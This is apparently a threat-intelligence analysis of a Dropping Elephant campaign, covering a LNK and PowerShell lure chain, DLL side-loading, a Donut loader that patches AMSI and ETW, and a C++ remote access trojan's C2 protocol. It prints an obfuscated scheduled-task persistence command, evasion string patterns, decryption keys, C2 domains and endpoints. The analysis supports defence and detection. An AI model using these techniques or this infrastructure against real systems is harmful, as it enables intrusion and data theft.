Advanced Persistent Threat (APT) campaigns continuously evolve to counter modern endpoint protection mechanisms. Recent tracking of the threat actor known as “Dropping Elephant” highlights an operational shift toward fileless execution and defense evasion. Historically characterized by less sophisticated delivery mechanisms, the group has significantly modernized its toolset. This analysis unpacks a multi-stage infection chain that begins with a China-themed lure document and culminates in a heavily modified, memory-resident Remote Access Trojan (RAT).

By employing advanced techniques such as dynamic API reconstruction, control-flow flattening, and process patching of critical Windows defense mechanisms, Dropping Elephant has developed an implant architecture designed to circumvent standard Endpoint Detection and Response (EDR) platforms. This breakdown analyzes each stage of the attack lifecycle, dissecting the cryptographic schemas, host fingerprinting variables, and command-and-control (C2) architecture utilized in this campaign.

Initial Access and Obfuscated Multi-Stage Delivery Mechanics

The attack sequence is initiated when a target interacts with a malicious Windows shortcut file designated as GRES3001.lnk. To deceive the victim, the file mimics a standard PDF document by utilizing a spoofed Microsoft Edge icon. Upon execution, the shortcut does not open a PDF directly; instead, it leverages the legitimate Windows console subsystem host binary (conhost.exe) to execute an embedded, highly obfuscated PowerShell downloader script. The threat actor employs string-splitting and character-insertion techniques within the PowerShell code to break up signatures and defeat keyword-matching security filters. Specific native cmdlets and operations are masked using patterns such as iw''r, g''c''i, r''e''n, c''p''i, and &(g''cm sch*).

The primary role of this initial PowerShell script is to establish an outbound network connection to the actor’s staging server at chinagreenenergy[.]org. It concurrently retrieves the true decoy document, GRES3001.pdf, alongside a collection of obfuscated payloads. To maintain a low profile and minimize user suspicion, the script immediately launches the decoy PDF in the foreground. This document consists of a fraudulent contract completion and acceptance notice for the “GRES-3 project,” referencing specific engineering data surrounding industrial seawater circulation pump systems. While the user reviews this lure, the deployment script continues executing background staging routines.

Payload Staging, Persistence, and DLL Side-Loading Architecture

The background script downloads several core components disguised with arbitrary junk file extensions, including .ezxzez, .cypyly, and .dzlzlz. These extensions are designed to bypass perimeter inspection solutions that block binary transport. Once successfully downloaded to the victim’s local storage, the script processes these files by stripping the junk trailing characters, reconstructing a suite of interdependent binaries directly inside the C:\Users\Public\ directory.

The reconstructed directory structure contains the following baseline artifacts:

Staged Filename	Target Deployment Path	Functional Description	SHA-256 Hash
GRES3001.pdf	C:\Users\Public\	Decoy document used as user lure	56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317
Fondue.exe	C:\Users\Public\	Legitimate Microsoft Features on Demand binary	b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1
APPWIZ.cpl	C:\Users\Public\	Malicious loader DLL (Side-loaded target)	914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6
editor.dat	C:\Windows\Tasks\	Encrypted payload storage container	a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b

To establish persistent execution on the endpoint, the script registers a new Windows Scheduled Task named GoogleErrorReport. The task creation logic utilizes obfuscated execution syntax via the string-split command: &(gcm sch*) /create /Sc minute /tn GoogleErrorReport /tr "$b\Public\Fondue". This configuration forces the operating system to execute the staged Fondue.exe binary every 60 seconds. Following the successful registration of this persistence mechanism, the installer deletes the primary GRES3001.lnk file from disk to eliminate obvious signs of the initial intrusion.

De-obfuscating the In-Memory Donut Shellcode Loader

When the scheduled task invokes Fondue.exe, the operating system looks for its dependencies within the execution directory. Because APPWIZ.cpl has been placed inside C:\Users\Public\ alongside Fondue.exe, the application side-loads this malicious library instead of the legitimate system file. Analysis of the Portable Executable (PE) metadata indicates that APPWIZ.cpl possessed the original internal filename bluetooth_callback.dll. The side-loaded binary exposes an exported function named RunFODW, which maps directly to the entry point expected by the host application.

Upon execution, RunFODW opens the encrypted payload container editor.dat from C:\Windows\Tasks\. The loader base64-decodes the file content, yielding an encrypted ciphertext block. It then initializes the Windows Cryptography Next Generation (CNG) library (bcrypt.dll) to perform an AES-256-CBC decryption sequence. The 32-byte cryptographic key and 16-byte Initialization Vector (IV) are assembled directly on the stack via immediate mov operands to prevent simple static string extraction:

• AES-256 Key: 1f1e1d1c1b1a101108090a0b0c0d0e0f00020405040102031011121415181611
• Initialization Vector (IV): 000803030902060708090a0b0c0d0e0f

The resulting plaintext payload is a Donut shellcode generation block rather than a raw executable file. The loader allocates a Read-Write-Execute (RWX) memory region using VirtualAlloc, copies the payload via memcpy, and transfers execution control. It completes this transition obliquely by passing the shellcode’s base address as a callback argument to the native Windows function EnumUILanguagesW.

Once active, the Donut engine utilizes the Chaskey block cipher in Counter (CTR) mode to decrypt its nested executable payload. Before mapping the final payload into memory, Donut actively targets the local security posture by locating and patching specific memory offsets belonging to the Antimalware Scan Interface (AMSI), Windows Lockdown Policy (WLDP), and Event Tracing for Windows (ETW), effectively blinding host telemetry generation for the current process space.

Architectural Analysis of the Reworked 32-Bit C++ Implant

The payload unpacked by the Donut shellcode is a custom native 32-bit C++ Remote Access Trojan (SHA-256: 7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54). This variant features a modified code structure compared to historical Dropping Elephant implants, adopting defensive engineering principles such as control-flow flattening and static C Run-Time (CRT) linking to hinder automated static analysis. Upon initialization, the malware invokes FreeConsole() to detach itself from any visible command interface. It then resolves its required Windows APIs dynamically through a structured parsing loop using LoadLibrary and GetProcAddress.

The implant secures its operational variables via the Salsa20 stream cipher, utilizing a hardcoded 32-byte key string tn9905083tfbsxqrxs7qe4ryw1nif8h1 along with an 8-byte nonce value lPvymwIk. Following cryptographic initialization, the RAT invokes an anti-analysis subroutine identified as sub_40F4A0. This module enumerates the system’s active process list, comparing each entry against an internal array of popular debugging utilities, sandbox environments, and hypervisor monitor tools.

If an analysis environment is identified, the implant does not terminate; instead, it logs the presence of these tools and includes them within the host fingerprinting telemetry transmitted back to the operator. To ensure that only a single instance runs on the target system, the implant creates a global system mutex named kshdkfhskdfjkhsdkfhsjkdfhkj. It then transitions into its core polling routine within sub_415750.

Host Fingerprinting and Command-and-Control (C2) Mechanics

Before commencing its primary beaconing cycle, the malware aggregates specific metadata to build a comprehensive profile of the compromised host. This registration data is assembled into a structured POST body containing seven distinct tracking variables:

Parameter Key	Collected Telemetry Metric	Extraction Methodology
umnome	User Account Identity	Extracts current session username
pmjodf	Endpoint Computer Name	Retrieves the localized NetBIOS host identifier
idkdfjej	Unique Client Identifier (Bot ID)	Dynamically calculated based on host attributes
vrjdmej	Host Operating System Version	Queries internal kernel build metrics
ndlpeip	Public IP and Country Geolocation	Contacts api.ipify.org and maps via ip2c.org
cokenme	Localized Country String	Evaluates the geographic position of the external IP
mkeoldkf	Running Process Inventory	Full enumeration of active processes on the system

Every telemetry field is independently encrypted and encoded using a multi-layer schema defined as: base64url(Salsa20(base64url(value))). External web queries conducted during the reconnaissance phase are assigned a explicit hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36.

The implant directs its primary outbound command-and-control traffic to the external domain gcl-power[.]org across port 443 over HTTPS, establishing secure transport parameters by passing the INTERNET_FLAG_SECURE flag to the underlying connectivity API. The communication sequence relies on a hardcoded 23-character authentication token: RRn926EmIRfm9IlJyP1yVO2.

During standard operations, each iteration of the beacon loop executes a strict connection verification sequence: it pings google.com, yahoo.com, and cloudflare.com. Only when network connectivity is verified does the malware issue an HTTP POST request transmitting dine=<cid> to the primary command-polling endpoint /prjozifvkpkfhkr/gedhagammgjvvva/.

The implant reads incoming network data streams via InternetReadFile. If the server responds with an idle sentinel string value of MMMMM==YYYYY, the malware enters a sleep state for approximately three seconds before issuing a follow-up poll request. Under normal idling conditions, the check-in frequency is maintained at 10-second intervals; however, if a network error occurs, the implant switches to a rapid 2-second retry cycle until communication is re-established.

Command Handler and Operator Capabilities

When the C2 server returns an operational command task, the payload is extracted from enclosing encapsulation delimiters (<, >, (, ), *), stripped of its outer formatting, and decoded using the reverse Salsa20 cryptographic routine. The implant processes commands by routing tasks to five internal command handlers matching specific two-character operational tokens:

• fl (Directory Listing): Instructs the implant to perform a recursive enumeration of files and folder structures across accessible logical drives.
• dw (Download and Execute): Directs the malware to retrieve a remote file payload from a specified source URL, commit the binary payload to local disk storage, and establish a new execution process.
• sc (Screenshot Capture): Triggers a command-gated capture of the host’s virtual display using the native Windows Graphics Device Interface (GDI) BitBlt function. The resulting image data is structured via the Windows Imaging Component (WIC) library and exfiltrated to a dedicated endpoint located at /prjozifvkpkfhkr/spxbjdhxtapivrk/.
• cmx (Shell Execution): Instructs the implant to spawn a local command shell interpreter instance. It normalizes output formatting by invoking the specific string string template cmd.exe /c chcp 65001 | <cmd>, capturing stdout data streams to return to the operator.
• uf (File Upload): Locates and reads a targeted local file, packaging the raw data stream for exfiltration back to the primary C2 infrastructure.